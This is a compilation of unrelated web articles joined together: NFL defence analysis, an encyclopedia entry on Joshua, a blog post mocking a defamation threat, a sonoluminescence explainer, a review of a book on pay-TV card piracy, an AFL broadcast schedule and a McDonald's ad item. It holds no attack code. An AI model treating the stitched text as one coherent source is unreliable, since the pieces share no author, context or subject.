and a year's subscriptions, alongside access to back issues and PDF downloads of all issues, all for a reduced price. There is now also an opportunity to buy the digital version of this edition as a single issue.
-http://gty.im/638993754  A Look At How The Lions Gave Up Passing Touchdowns On Defense In 2016.  Lions Struggle To Defend The Air In ’16  As alluded in the defensive rushing touchdowns article, part of the Lions run stopping success was due to just how poor the Lions defended the end zone from quarterbacks in 2016. The Lions ended up the 31st worst team in the league in this category. While the team was ranked in the middle of the pack in terms of yards, the Lions gave up 33 passing touchdowns last season as a defensive unit.  The biggest two reasons for these struggles in 2016 was the Lions inability to create pressure consistently and their poor coverage in the middle of the field. These two issues worked in tandem this past season. If you can create pressure consistently, the negative repercussions of poor coverage are mitigated by incomplete passes and sacks. Or if you can cover effectively for much of the game you can give your defensive line more time to rush the quarterback. But if you cannot do either you can get picked apart in the NFL by experienced quarterbacks.  This was especially hard on the Lions in 2016 as a chance for their first division championship was resting on defeating the Packers in the last game of the regular season. The problem for Detroit was that Packers quarterback Aaron Rodgers will make you pay if you give him time to move around the pocket. Rodgers was responsible for eight of the 33 touchdowns given up by Detroit through their two games last season, allowing four in each game. Unfortunately, those points would be too much to overcome and the Lions would lose both games and their division lead after the week 17 matchup.  Looking Forward To The 2017 Season  The Lions front office appears very aware of this issue from last year. They spent several early-mid round draft picks on rookies like linebackers Jarrad Davis and Jalen Reeves-Maybin, and cornerbacks Teez Tabor and Jamal Agnew. Tabor competing on the outside allows cornerback Nevin Lawson to move inside and compete at the nickel corner spot. Davis looks to be a lock at middle linebacker, but keep an eye out for Reeves-Maybin. He fell in the draft because of size and injury concerns not because of lack of ability. If Reeves-Maybin can stay healthy and build up some muscle, he could come in cover on 3rd downs to help this defense get off the field in 2017.  With how poor they were at stopping the passing game in 2016, it’s pretty likely the Lions will see some improvement in this category in 2017. Just how much remains to be seen, but with the new cast of rookies and a couple veteran free agents signed in the front seven, the Lions could be solidly in the middle of the pack next season. That improvement could be the difference between a wild card game and winning the NFC North.  Chat with Zac in our Lions Subreddit and on Twitter @DetLionsScout!
-Joshua () or Jehoshua (Hebrew: יְהוֹשֻׁעַ Yehoshuʿa)[a] is the central figure in the Hebrew Bible's Book of Joshua. According to the books of Exodus, Numbers and Joshua, he was Moses' assistant and became the leader of the Israelite tribes after the death of Moses.[3] His name was Hoshea ( הוֹשֵׁעַ) the son of Nun, of the tribe of Ephraim, but Moses called him Joshua (Numbers 13:16), the name by which he is commonly known. The name is shortened to Yeshua in Nehemiah (Nehemiah 8:17). According to the Bible he was born in Egypt prior to the Exodus.[2]  According to the Hebrew Bible, Joshua was one of the twelve spies of Israel sent by Moses to explore the land of Canaan. In Numbers 13:1–16, and after the death of Moses, he led the Israelite tribes in the conquest of Canaan, and allocated the land to the tribes. According to biblical chronology, Joshua lived some time in the late Bronze Age. According to Joshua 24:29, Joshua died at the age of 110.  Joshua also holds a position of respect among Muslims. According to Islamic tradition, he was, along with Caleb, one of the two believing spies whom Moses had sent to spy the land of Canaan.[4] Muslims also see Joshua as the leader of the Israelites, following the death of Moses. Some Muslims also believe Joshua to be the "attendant" of Moses mentioned in the Quran, before Moses meets Khidr and Joshua plays a significant role in Islamic literature with significant narration in the Hadith, therefore he is a point of study in comparative religion, see Joshua in Islam.  Name [ edit ]  The English name "Joshua" is a rendering of the Hebrew language Yehoshua, meaning "Yahweh is salvation".[5][6] The vocalization of the second name component may be read as Hoshea—the name used in the Torah before Moses added the divine name (Numbers 13:16).[7]  "Jesus" is the English derivative of the Greek transliteration of "Yehoshua" via Latin. In the Septuagint, all instances of the word "Yehoshua" are rendered as "Ἰησοῦς" (Iēsoūs), the closest Greek pronunciation of the Aramaic: ישוע‎ Yeshua, Nehemiah 8:17).[8][9] Thus, in modern Greek, Joshua is called "Jesus son of Naue" (τοῦ Ναυή) to differentiate him from Jesus. This is also true in some Slavic languages following the Eastern Orthodox tradition (e.g. "Иисус Навин", Iisús Navín, in Bulgarian, Serbian and Russian, but not Czech).  Biblical narrative [ edit ]  The Exodus [ edit ]  Moses Blesses Joshua Before the High Priest (watercolor circa 1896–1902 by (watercolor circa 1896–1902 by James Tissot  Joshua was a major figure in the events of the Exodus. He was charged by Moses with selecting and commanding a militia group for their first battle after exiting Egypt, against the Amalekites in Rephidim (Exodus 17:8-16), in which they were victorious.  He later accompanied Moses when he ascended biblical Mount Sinai to commune with God,[10] visualize God's plan for the Israelite tabernacle and receive the Ten Commandments. Joshua was with Moses when he descended from the mountain, heard the Israelites' celebrations around the Golden Calf,[11] and broke the tablets bearing the words of the commandments. Similarly, in the narrative which refers to Moses being able to speak with God in his tent of meeting outside the camp, Joshua is seen as custodian of the tent ('tabernacle of meeting') when Moses returned to the Israelite encampment.[12] However, when Moses returned to the mountain to re-create the tablets recording the Ten Commandments, Joshua was not present, as the biblical text states 'no man shall come up with you'.[13]  Later, Joshua was identified as one of the twelve spies sent by Moses to explore and report on the land of Canaan (Numbers 13:16-17), and only he and Caleb gave an encouraging report, a reward for which would be that only these two of their entire generation would enter the promised land (Numbers 14:22-24).  According to Joshua 1:1-9, God appointed Joshua to succeed Moses as leader of the Israelites along with giving him a blessing of invincibility during his lifetime (Joshua 1:5).[14][15] The first part of the book of Joshua covers the period when he led the conquest of Canaan.  Conquest of Canaan [ edit ]  Joshua Commanding the Sun to Stand Still upon Gibeon by by John Martin  At the Jordan River, the waters parted, as they had for Moses at the Red Sea. The first battle after the crossing of the Jordan was the Battle of Jericho. Joshua led the destruction of Jericho, then moved on to Ai, a small neighboring city to the west. However, they were defeated with thirty-six Israelite deaths. The defeat was attributed to Achan taking an "accursed thing" from Jericho; and was followed by Achan and his family and animals being stoned to death to restore God's favor. Joshua then went to defeat Ai.  The Israelites faced an alliance of five Amorite kings from Jerusalem, Hebron, Jarmuth, Lachish, and Eglon. At Gibeon, Joshua asked Yahweh to cause the sun and moon to stand still, so that he could finish the battle in daylight. This event is most notable because "There has been no day like it before or since, when the Lord heeded the voice of a man, for the Lord fought for Israel" (Joshua 10:14). God also fought for the Israelites in this battle, for he hurled huge hailstones from the sky which killed more Canaanites than those which the Israelites slaughtered. From there on, Joshua was able to lead the Israelites to several victories, securing much of the land of Canaan. He presided over the Israelite gatherings at Gilgal and Shiloh which allocated land to the tribes of Israel (Joshua 14:1-5 and 18:1-10), and the Israelites rewarded him with the Ephraimite city of Timnath-heres or Timnath-serah, where he settled (Joshua 19:50).  Death [ edit ]  When he was "old and well advanced in years",[16] Joshua convened the elders and chiefs of the Israelites and exhorted them to have no fellowship with the native population, because it could lead them to be unfaithful to God.[17] At a general assembly of the clans at Shechem, he took leave of the people, admonishing them to be loyal to their God, who had been so mightily manifested in the midst of them. As a witness of their promise to serve God, Joshua set up a great stone under an oak by the sanctuary of God. Soon afterward he died, at the age of 110, and was buried at Timnath-heres, in the hill country of Ephraim, north of Mount Gaash.[18]  Historicity [ edit ]  The prevailing scholarly view is that Joshua is not a factual account of historical events.[19] The apparent setting of Joshua is the 13th century BCE,[19] a time of widespread city-destruction, but with a few exceptions (Hazor, Lachish) the destroyed cities are not the ones the Bible associates with Joshua, and the ones it does associate with him show little or no sign of even being occupied at the time.[20] Archaeologists generally agree that the Israelites had Canaanite origins: the culture of the earliest Israelite settlements is Canaanite, their cult-objects are those of the Canaanite god El, the pottery remains are in the Canaanite tradition, and the alphabet used is early Canaanite. Almost the sole marker distinguishing the "Israelite" villages from Canaanite sites is an absence of pig bones, although whether even this is an ethnic marker or is due to other factors remains a matter of dispute.  There is a consensus that the Joshua traditions in the Pentateuch are secondary additions. The spy story of Numbers 13–14; Deut. 1:34–7, in an earlier form only mentioned Caleb. E. Meyer and G. Hoelscher deny Joshua's existence as a historical reality and conclude that he is the legendary hero of a Josephite clan.[22]  Carolyn Pressler, in her 2002 commentary for the Westminster Bible Companion series, suggests that readers of the Book of Joshua should give priority to its theological message ("what passages teach about God") and be aware of what these would have meant to audiences in the 7th and 6th centuries BCE.[23] Richard Nelson explains, "The needs of the centralised monarchy favoured a single story of origins combining old traditions of an exodus from Egypt, belief in a national god as 'divine warrior,' and explanations for ruined cities, social stratification and ethnic groups, and contemporary tribes."[24]  Authorship of the biblical Joshua narrative is ascribed to Joshua himself by Bava Batra 15a (Talmud) and early church fathers, but in 1943 Martin Noth published an argument that behind Joshua and other books was a unified "Deuteronomistic history", composed in the early part of the Babylonian captivity (6th century BCE). Most scholars today believe in some such composite, containing the epic history of the premonarchical period.[25]  Internal evidence of the book of Joshua, and the repeated use of the phrase 'to this day' suggests that the events that it recounts took place some time before they were recorded.[26]  The first record of the name Israel occurs in the Merneptah stele, erected for Egyptian Pharaoh Merneptah c. 1209 BCE, "Israel is laid waste and his seed is not."[27] William Dever sees this "Israel" in the central highlands as a cultural and probably political entity, well enough established to be perceived by the Egyptians as a possible challenge to their hegemony, but an ethnic group rather than an organised state.[28]  The number of villages in the highlands increased to more than 300 by the end of Iron Age I[29] (more and larger in the north), with the settled population rising from 20,000 in the twelfth century to 40,000 in the eleventh.[30] The villagers probably shared the highlands with other communities such as pastoral nomads, but only villagers left sufficient remains to determine their settlement patterns.[31] Archaeologists and historians see more continuity than discontinuity between these highland settlements and the preceding Late Bronze Age Canaanite culture.[32] Certain features, such as ceramic repertoire and agrarian settlement plans, have been said to be distinctives of highland sites,[33] and collar-rimmed jars and four-roomed houses have been said to be intrinsically "Israelite", but have also been said to belong to a commonly shared culture throughout Iron I Canaan.[34] While some archaeologists interpret the absence of pig bones from the highland sites as an indicator of ethnicity,[35] this is not certain.[36] Villages had populations of up to 300 or 400,[30][37] which lived by farming and herding and were largely self-sufficient;[38] economic interchange was prevalent.[39]  According to Ann E. Killebrew, "Most scholars today accept that the majority of the conquest narratives in the book of Joshua are devoid of historical reality".[40][41][42][43]  The question of the date and degrees of conquest and/or assimilation of the indigenous population is uncertain, as academics and archaeologists differ in their interpretation of the archaeological and other evidence.[44]  Views [ edit ]  Joshua and the Israelite people, Karolingischer Buchmaler, c. 840  In rabbinical literature [ edit ]  In rabbinic literature Joshua is regarded as a faithful, humble, deserving, wise man. Biblical verses illustrative of these qualities and of their reward are applied to him. "He that waits on his master shall be honored" (Pro. xxvii. 18) is construed as a reference to Joshua (Midrash Numbers Rabbah xii.), as is also the first part of the same verse, "Whoso keepes the fig-tree shall eat the fruit thereof" (Midrash Yalk., Josh. 2; Numbers Rabbah xii. 21). That "honor shall uphold the humble in spirit" (Pro. xxix. 23) is proved by Joshua's victory over Amalek (Midrash Numbers Rabbah xiii). Not the sons of Moses—as Moses himself had expected—but Joshua was appointed successor to the son of Amram (Midrash Numbers Rabbah xii). Moses was shown how Joshua reproved that Othniel (Yalḳ., Num. 776).  God would speak to Moses face to face, like someone would speak to his friend. Then he would return to the camp. But his attendant, Joshua the son of Nun, a young man, would not leave the tent. Joshua never moved from the tent.[45] Didn't Joshua leave the tent to eat, sleep or attend to his needs? This praise shows that Joshua had complete faith in Moses, the Tzaddik. One who has this faith is cognizant of the tzaddik in everything he does; he remains steadfastly with the tzaddik whatever he does.[46]  In Christianity [ edit ]  Most modern Bibles translate Hebrews 4:8–10 to identify Jesus as a better Joshua, as Joshua led Israel into the rest of Canaan, but Jesus leads the people of God into "God's rest". Among the early Church Fathers, Joshua is considered a type of Jesus Christ.[47]  In Islam [ edit ]  Joshua (Arabic: أو يُوشَعُ بْنُ نُونٍ‎ jooʃʌ' bin noon) is not mentioned by name in the Quran, but his name appears in other Islamic literature. In the Quranic account of the conquest of Canaan, Joshua and Caleb are referenced, but not named, as two "Allah-fearing men", on whom God "had bestowed His grace".[48]  They said, "Moses, there is a fearsome people in this land. We will not go there until they leave. If they leave, then we will enter." Yet the two men whom God had blessed among those who were afraid said, "Go in to them through the gate and when you go in you will overcome them. If you are true believers, put your trust in God. Qur'an, sura 5 (Al-Ma'ida), ayah 22–23, Haleem translation[49]  Joshua was regarded by some classical scholars as the prophetic successor to Moses (موسى‎).[50] Tabari relates in his History of the Prophets and Kings that Joshua was one of the twelve spies and Muslim scholars believe that the two believing spies referred to in the Qur’ān are Joshua and Caleb. Joshua was exceptional among the Israelites for being one of the few faithful followers of Allah.  Joshua is further mentioned in Islamic literature, and significant events from his Muslim narratives include the crossing of the Jordan river and the conquest of Bait al-Maqdis.[51]  The traditional Muslim commentary al-Julalayn says, "Ahmad [b. Hanbal] reported in his Musnad, the [following] hadīth, 'The sun was never detained for any human, except for Joshua during those days in which he marched towards the Holy House [of Jerusalem]'."[52]  Muslim literature includes traditions of Joshua not found in the Hebrew Bible. Joshua is credited with being present at Moses's death and literature records that Moses's garments were with Joshua at the time of his departure.[53] In Sahih Bukhari and Sahih Muslim, Joshua is mentioned as Yusha' bin Nun and is the attendant to Moses during his meeting with Khidr.[54][55][56]  Ali ibn Abi Talib, the cousin of Muhammad, was asked about the prophets that had special names. He narrates in Hadith that Yusha' ibn Nun was known as Dhu al-Kifl.[57]  Joshua is believed by some Muslims to be buried on Joshua's Hill in the Beykoz district of Istanbul.[58] Alternative traditional sites for his tomb are situated in Israel (the Shia shrine at Al-Nabi Yusha'), Jordan (An-Nabi Yusha’ bin Noon, a Sunni shrine near the city of Al-Salt[59][60]), Iran (Historical cemetery of Takht e Foolad in Esfahan)[citation needed] and Iraq (the Nabi Yusha' shrine of Baghdad[59]).  In art and literature [ edit ]  Yahrtzeit [ edit ]  The annual commemoration of Joshua's yahrtzeit (the anniversary of his death) is marked on the 26th of Nisan on the Hebrew calendar. Thousands make the pilgrimage to the Tomb of Joshua in Kifl Haris on the preceding night.  Yom HaAliyah [ edit ]  Yom HaAliyah (Aliyah Day) (Hebrew: יום העלייה‎) is an Israeli national holiday celebrated annually on the tenth of the Hebrew month of Nisan to commemorate Joshua having led the Israelites across the Jordan River into the Land of Israel while carrying the Ark of the Covenant.  Joshua tree and Joshua's blind snake [ edit ]  Legend has it that Mormon pioneers in the United States first referred to the yucca brevifolia agave plant as the Joshua tree because its branches reminded them of Joshua stretching his arms upward in supplication, guiding the travelers westward.[62]  Joshua is commemorated in the scientific name of a species of snake, Joshua's blind snake (Trilepida joshuai ), the holotype of which was collected at Jericó, Antioquia, Colombia.[63]  See also [ edit ]  Notes [ edit ]  References [ edit ]
-These days it's not easy for a legal threat to distinguish itself. There are so many of them, and it's common from them to be bumptious and ignorant.  That's why I have to tip my hat to Stuart Gibson, an attorney at the Australian firm Mills Oakley. He has risen above the pack.  Mr. Gibson charges heedlessly into a crowded subgenre: threatening people for merely talking about you. The genesis of his bluster is a 2012 post at Techdirt discussing an Australian court victory against Google by one Milroad Trkluja, who was displeased that Google searches of his name brought up pictures of an underworld figure. That's not so bad; Googling my name brings up pictures of Jabba the Hutt cosplay. Anyway, Techdirt's article criticized the decision but made it perfectly clear that Mr. Trkulja was not, in fact, a gangster, and that his image only got connected with a gangster because he had the misfortune to be an innocent bystander in a shooting.  More than three years later, Trkulja sent Techdirt and Google a bizarrely entertaining legal threat complaining about a comment on the 2012 story that suggested that he was the sort of "gangster" who uses courts rather than guns. Trkulja demanded money, the deletion of the offending comment and anything ever written about him, and to block Techdirt. This was amusing and noteworthy; it's exactly the sort of flailing threat Techdirt writes about all the time.  Enter Mills Oakley attorney Stuart Gibson. He sent Techdirt a threat that, while much shorter and less floridly pro-se nutty than Trukulja's, was in its own way just as ridiculous.  This is the rotten core of it:  The matter that you have published conveys false and defamatory meanings including (but not limited to) the following:  Our client is a gangster; That our client by virtue of his legal claims is incompetent and unfit to be a litigant; That our client by virtue of his legal claims is a ridiculous litigant; That our client is a criminal and a participant in organised crime; That our client is unfit to be a litigant None of these meanings is defensible. Our client is not a criminal and has never been a gangster nor associated with such persons. Accordingly there is no factual basis for the imputations published.  This is entertainingly preposterous. Techdirt never suggested Trkulja is a gangster; a commenter jokingly suggested he is a litigation gangster. Techdirt's suggestion that Trkulja's legal threat is ridiculous (which Gibson spins as "unfit to be a litigant") is a classic case of opinion based on disclosed facts — the fact in this case being Trkulja's nutty legal threat.  Gibson finishes with bluster about how his firm has enforced Australian judgments against other companies, about how American law will not protect Techdirt, about how Techdirt's free speech defense is "absolute nonsense," and so forth.  Gibson is, of course, utterly full of shit. This is exactly the sort of bullying threat that the SPEECH Act, 28 U.S.C. section 41202, is designed to render impotent. Australia is beautiful and its people are lovely and its laws have many things to recommend them but, with respect to protection of free speech, it is a jurisprudential shithole. Congress passed the SPEECH Act to ensure that law-thugs like Mr. Gibson could not silence speech by obtaining defamation judgments under legal regimes that lack adequate protections for free speech. Mr. Gibson is free to get an Australian judgment against Techdirt — indeed, Australian courts are popular with libel tourists and folks with ambitions to control speech worldwide. But unless Techdirt has assets in Australia, that judgment will be worthless.  Under the SPEECH Act, American courts won't recognize and enforce foreign defamation judgments unless the party seeking to enforce them carries the burden of proving that (1) the foreign court's exercise of personal jurisdiction over the defendant satisfied American concepts of due process; (2) the foreign court's ruling complied with Section 230 of the Communications Decency Act of 1996, which says that web sites can't be held liable for defamation for comments left by third parties; and (3) either the foreign court offers as much free speech protection as American courts, or American courts would have reached the same result on the defamation claim. Stuart Gibson's threats on behalf of Mr. Trkulja fail all three of those tests. Australia has no plausible personal jurisdiction claim over Techdirt; Gibson and Trkulja are trying to hold Techdirt responsible for a comment left by a third party; and Trkulja's and Gibson's silly claims would never stand up to First Amendment scrutiny. Among other things, Australia apparently treats truth as a defense, requiring defamation defendants to prove that their statements were true, rather than requiring the plaintiff to prove that they were false. That, standing alone, is enough to fail the SPEECH Act test. Trout Point Lodge, Ltd. v. Handshoe, 729 F.3d 481, 489 (5th Cir. 2013) (Canadian judgment was not enforceable under SPEECH Act because, among other things, it placed burden of proving truth on defendant). Moreover, Mr. Gibson's suggestion that Techdirt can't make fun of Trkulja for writing a very silly threat is sheer idiocy, and I suspect would be even under Australian law.  One can imagine why Mr. Trkulja would act this way — he's an angry litigant, not an attorney. But why would Stuart Gibson, who appears to be a real-life lawyer at a reputable law firm, act this way?  There are several possibilities. One is that Stuart Gibson is willfully ignorant of relevant American law. This theory has some appeal, especially when you consider that this is the entirety of his analysis of the SPEECH Act in his threat to Techdirt:  You are not protected by the Speech Act.  Another possibility is that Stuart Gibson knows the relevant law but is hoping that Techdirt doesn't — that he hopes that Techdirt is ignorant or easily intimidated enough to yield to legally meritless demands. This merely demonstrates another form of willful ignorance; the briefest investigation of Techdirt's history would reveal that it stands up to stupid legal threats all the time, and in fact publicly mocks them. If this is the case, then Gibson has failed to follow one of the core rules of writing an effective and non-own-foot-shooty takedown letter: he didn't investigate his target.  A third possibility is that Stuart Gibson is a hotheaded buffoon incapable — whatever he knows or doesn't know — of maintaining communications discipline. This explanation, too, has a certain appeal. I wrote Mr. Gibson seeking comment and some of his responses suggested a failure of self-control:  Ken  What you can say is that I have challenged Mike to accept Service of Proceedings and to espouse his theories in Court here.I have been trying to effect Service on him.  We are at this time trying to serve him/it.  I do not think it understands Australian Defamation Law.  We have no Free Speech law in this country.  Ken  What are you doing writing for this trashsite  And so forth.1  There is a type of gormless lawyer who becomes incensed when his or her idiotic demands are not met with immediate compliance; Mr. Gibson appears to be such a buffoon.  Finally, it's possible that Mr. Gibson is actually very clever and is just setting this matter up for Mr. Trkulja for another Australian lawsuit against Google seeking damages for the existence of websites that do not fluff him. Lord knows such train wrecks are possible there.  Mr. Gibson and Mr. Trkulja perform useful service: they illustrate exactly why Congress was right to pass the SPEECH Act, and exactly why we should be thankful for America's unusually broad and robust defense of free speech. Do you want people like Stuart Gibson dictating what you can say and whom you may ridicule? After all, Mr. Gibson is the sort of lawyer who says "we have no Free Speech law in this country" — and is happy about it, because it allows him to act like . . . well, like a gangster.  Last 5 posts by Ken White
-[Total: 4 Average: 5/5]  In a recent paper published in Physical Review Letters (PRL), one of the top physics journals, Jérôme Duplat and Emmanuel Villermaux developed a method to generate centimeter-sized vacuum bubbles in water with miniature laser-driven explosions, and observed the flash of light produced as the bubble collapsed, a not-fully-understood phenomenon known as sonoluminescence. They measured the temperature inside the bubble, spectroscopically, and found it was upwards of 20,000 Kelvin, hotter than any chemical reaction.  Scientific interest in bubbles goes back to Leonardo da Vinci. In the early 20th century the physics of bubbles was investigated more rigorously, because bubbles generated by propellers were causing damage to them. They are also used as contrast agents during medical ultrasound, because they oscillate under an external acoustic field and re-radiate incident sound, which can make it easier to image inside the body. The physics of bubbles is really interesting, but I will only summarize one important tenet: if the pressure inside the bubble is greater than the pressure in the fluid, the bubble grows; if it is lesser, it shrinks.  Sonoluminesence was discovered serendipitously in 1934 during an attempt to use sound waves to speed up photographic development. In 1989 the technology was developed to study it one bubble at a time, by trapping the bubble at the node of an acoustic standing wave. The phenomenon is not fully understood, both experimentally and theoretically. On the experimental side, it has been a matter of debate how hot it actually gets, but if the spectrum is both thermal and visible, it must be in the thousands of degrees. There was a controversial claim that it was hot enough to ignite nuclear fusion, which was met with scepticism. On the theoretical side, it is not known exactly what mechanism produces this light. It may be that the gas inside the bubble is simply heating up as it is compressed, but calculations from the ideal gas law don’t give high enough temperatures. It could be that the rapid acceleration of the wall induces atomic or molecular transitions that give off light, or that the gas becomes ionized into plasma, or it could be bremsstrahlung. The bubbles tend to be so small and so fast that it’s hard to get good spectroscopic information.  The innovation of Duplat and Villermaux was a way to make the bubbles bigger and emptier, by starting them off with a small explosion. Starting with bubbles containing hydrogen and oxygen gas individually, they blast the bubble with a laser to ignite the combustion, driving the expansion of the bubble. The bubble is now full of water vapour, and the molecules get adsorbed into the liquid water at the bubble wall, leaving a mostly-empty centimeter-sized cavity. Now there is a large empty cavity in the water, so the fluid rushes back into it, collapsing it. What vapour that does remain, sonoluminesces. The journal has videos from the experiments, and they are awesome. I particularly recommend video1.avi and MovieS2.mov.  After the laser blast, the flame inside the bubble propagates at 80 meters per second for about 0.1 milliseconds, leaving vapour. The vapour then flies towards the bubble wall at about 1000 meters per second for about 0.01 milliseconds, getting sucked back into its liquid form at the wall. At this point, the pressure inside the bubble is at around a Pascal, (very low, that’s 0.00001 atmospheres), and about 4400 Kelvin. This is where the bubble physics start: it grows at an initial speed of about 10 meters per second for about a millisecond, before collapsing. As it collapses it emits a flash of sonoluminescence, which is recorded through a diffraction grating (to split it into different wavelengths) by a digital camera. Based on the amount of the emitted light, they conclude that the temperature inside the bubble as it collapses is about 26,000 Kelvin.  The novelty of this experiment is not the spectral measurement, but the ability to produce sonoluminescence in such large, empty bubbles. One of the factors that determines the strength of the sonoluminescence effect is the ratio of the bubble’s minimum and maximum size. Not only do they start bigger in this experiment, but they can reach a smaller size because they are so empty, optimizing this ratio. The fact that bigger bubbles take longer to collapse means that it will be easier to watch it happen in real time. In the final paragraph of the paper, they explain that this can be used in the future to better study sonoluminesence.  To summarize, the results of this paper are not novel but the methods are. And I think generating a bubble by igniting a tiny hydrogen fire with a laser pulse is a really awesome thing to do.  *Source of that gif is a movie from the supplemental material of http://journals.aps.org/prl/abstract/10.1103/PhysRevLett.115.094501  Click For Forum Comments
-Murdoch's Pirates by Neil Chenoweth. Published by Allen & Unwin, November 2012. The competition is for control of a small item costing $2 - the credit card-size smart cards that give access to satellite pay TV. The security of those cards is the key to billions of dollars in pay TV revenues. Since the inception of pay television, independent hackers and organised pirate rings have repeatedly broken the codes to provide unauthorised access via a black market in forged smart cards. Naturally, investors in pay TV have fought back to defend their revenues. News Corporation, planning a global satellite-television empire, acquired its own card security development company - News Datacom (later NDS). It was based in Israel and employed mainly former Israeli military and intelligence operatives. Its first chief executive turned out to be a convicted American swindler on the run from US authorities, but the staff were expert in their fields. Their primary task was to develop the DataCrypt system for New Corporation's pay TV systems. But as Chenoweth writes, NDS also ran intelligence operations against pirate card makers and against New Corporation's competitors. They infiltrated the internet chatrooms where hackers would boast about their achievements, developed contacts and recruited agents. They employed former police detectives and intelligence operatives for many nationalities, including a former head of Scotland Yard's criminal intelligence bureau. These agents used their contacts with state agencies, bugged phones, burgled homes, set traps and employed every device familiar to readers of crime fiction - with apparent disdain for the law. As in the high times of maritime piracy, one man's pirate would be another man's privateer. In this shady world, hackers and agents were often on police watch lists of one kind or another, so they were flown around the world with false passports. The senior NDS officer responsible for undercover operations in Australia and East Asia was the wife of an Israeli diplomat, based in Taiwan. Her job was to protect the interests of News Corporation.  Whenever someone was caught out or things got sticky, the massive political, legal and public relations resources of News Corporation could usually protect them. If an operation was exposed too blatantly, agents would be jettisoned and denied. In one case, Chenoweth writes that News pretended to be suing a hacker who was, in fact, on their own payroll. The most creative hackers were often difficult individuals. One seems to have been murdered, KGB-style, in a Berlin park, after eastern European gangsters concluded he was a threat to their lucrative piracy business. Another on the NDS payroll was arrested in a Bulgarian bar after shooting another man in a drunken rage. By Chenoweth's account, this activity went well beyond defending a legitimate business against criminal attack. News Corporation was accused of using its smart card ''security'' operations to damage its competitors. News wanted its NDS card system to be the standard everywhere, but there were several European and American competitors in the smart card business. When big contracts were coming up for review, there were suspiciously frequent public releases of codes to crack the cards of NDS's competitors. The main victims of these sabotage releases were the American services DIRECTV and EchoStar, and the French Canal Plus. These corporations established their own intelligence operations to find out what was going on and for several years there was running underground warfare. In the heat of it, some star European and American hackers seem to have been double agents, triple agents, or simply playing all sides for as long as they could. At the corporate level, News Corporation was trying to buy a 30 per cent shareholding in DIRECTV that was held by General Motors. NDS provided the smart cards to DIRECTV and card piracy was a factor in the price of those shares. Chenoweth reports evidence that one of NDS's prize hackers had developed a cure-all solution for piracy on their current cards, but NDS did not release that code during the time that News Corporation had an interest in keeping DIRECTV share prices low.  Eventually Canal Plus and the US Echostar system sued NDS for sabotaging the security of their competitor's codes. The claims were for hundreds of millions in lost revenue, let alone any share price implications or criminal liability. News Corporation had 20 lawyers in the California court-room, the plaintiffs had three. Despite compelling evidence, and all indications that the judge was convinced by it, NDS was found guilty of only a minor misdemeanour with a $45 penalty. Even the judge's costs award against NDS was overturned by an appeals court of California's notoriously partisan, elected judiciary. By this time, News Corporation was a significant political asset of the Republican Party. The Australian Financial Review journalist Neil Chenoweth has been a hound of News Corporation for many years. His investigative work on this story, over more than four years, has accumulated extraordinary detail from across the globe. We get potted biographies and character sketches of most of the key characters. I'm not sure we needed to know the names of the two dogs who sniffed a suspicious package at a critical moment in a Texas parcel depot - but it proves Chenoweth was thorough. Chenoweth notes the legal hazards of investigating News Corporation, whose normal approach to litigation he describes as ''thermonuclear''. At many points in this story, the threat of massive legal costs seems to have been enough to extinguish open challenges to News Corporation's version of the truth. This story is full of personal drama, colourful identities, and issues of high principle. Many episodes are presented in a cinematic present tense, but the large caste and complex plot would challenge any screenwriter. Chenoweth concludes with a number of serious questions about accountability of globalised corporations. I wonder who will dare to make the movie. Richard Thwaites was working on broadcasting policy issues while Australia's pay television system was being introduced.
-The 2014 AFL Grand Final is upon us. Reigning Premiers Hawthorn take on the highly fancied Sydney Swans at the MCG in Melbourne on Saturday afternoon. We hope you can watch the match wherever you are in the world, one way or another.  The international broadcast details for the match and highlights packages can be seen below.  Region Network AFL Game Day The Pre Game Show Grand Final - Hawthorn vs Sydney Premiership Party Highlights Asia Australia Network - - 27/9 @ 1100 HKT (LIVE) - 30/9 @ 2330 HKT Pacific Australia Network - - 27/9 @ 1500 FJT (LIVE) - 1/10 @ 0330 FJT India Australia Network - - 27/9 @ 0830 IST (LIVE) - 30/9 @ 2100 IST UK & Ireland ESPN BT Sport - - 27/9 @ 0400 BST (LIVE) - 30/9 @ 2230 BST Caribbean ESPN - - 26/9 @ 2300 EST (LIVE) - 3/10 @ 1400 EST Europe Eurosport 2 - - 27/9 @ 0630 CET (LIVE) - - UK & Ireland Eurosport 2 - - 30/9 @ 2230 BST (Delay) - - Asia Eurosport 2 - - 27/9 @ 16:45 HKT (Delay) - - USA Fox Soccer Plus/Fox Sports 2 - - 27/9 @ 2300 ET (LIVE) - 29/9 @ 1700 ET Middle East Orbit Showtime Network 27/9 @ 0200 KSA (LIVE) 27/9 @ 0400 KSA (LIVE) 27/9 @ 0600 KSA (LIVE) - 29/9 @ 2000 KSA Worldwide (excl. Aust) OTLSM - Boats and Cruises - - 27/9 @ 0430 GMT (LIVE) - - New Zealand Sky Sports - - 27/9 @ 1500 NZT (LIVE) - 30/9 @ 1730 NZT New Zealand Sommet Sports 27/9 @ 1100 NZT (LIVE) 27/9 @ 1300 NZT (LIVE) 27/9 @ 1500 NZT (LIVE) 27/9 @ 2000NZT (LIVE) 1/10 @ 1930NZT Africa Supersport - - 27/9 @ 0625 CAT (LIVE) - 29/9 @ 1730 CAT Canada TSN2 - - 27/9 @ 2300 USET (LIVE) - TSN.ca Latin America Viva Sports - - 1/10 @ 1830 MST (Delay) - - Worldwide WatchAFL.com.au - - 27/9 @ 0430 GMT (LIVE) - -  These details are in provided in good faith, World Footy News takes no responsibility for any changes or errors in the above table. All broadcasts are subject to change, please check with your local broadcaster for the most up to date schedule.
-Wasn't it fun when we were kids to doodle on restaurants' paper placements with crayons? Well, McDonald's has introduced a high-tech, musical version of that sort of play with McTrax—a snazzy placemat that acts like a little music production station.  TBWA\Neboko in the Netherlands created McTrax. The placemat, developed with This Page Amsterdam, uses conductive ink, a small battery and a thin circuit board with 26 digital touchpoints. You put you phone on it, download an app and make music with in-house produced audio loops, synths and musical effects. You can also record your own voice.  See it in action here:  "The paper of the placemat is what makes this technique so innovative," TBWA creative technologist Radha Pleijsant and digital design lead Jan Jesse Bakker said in a statement. "The phone merely acts as the speaker and screen, which is easily connected to the placemat via Bluetooth, making the sure you can hear the music on your speakers."  "This placemat brings technique, engagement and entertainment together making it 'experience advertising,' " added chief creative officer Darre van Dijk.  "This is exactly what McDonald's is; a place to have fun and experience great moments, for everyone," said Erwin Dito, director of marketing, communications and consumer insight for McDonald's Netherlands.  CREDITS  Agency: TBWA\NEBOKO  Concept: Jan Jesse Bakker, Yacco Vijn, Radha Pleijsant  Client: McDonald's Nederland  App en tech development: This Page Amsterdam  Placemat development: 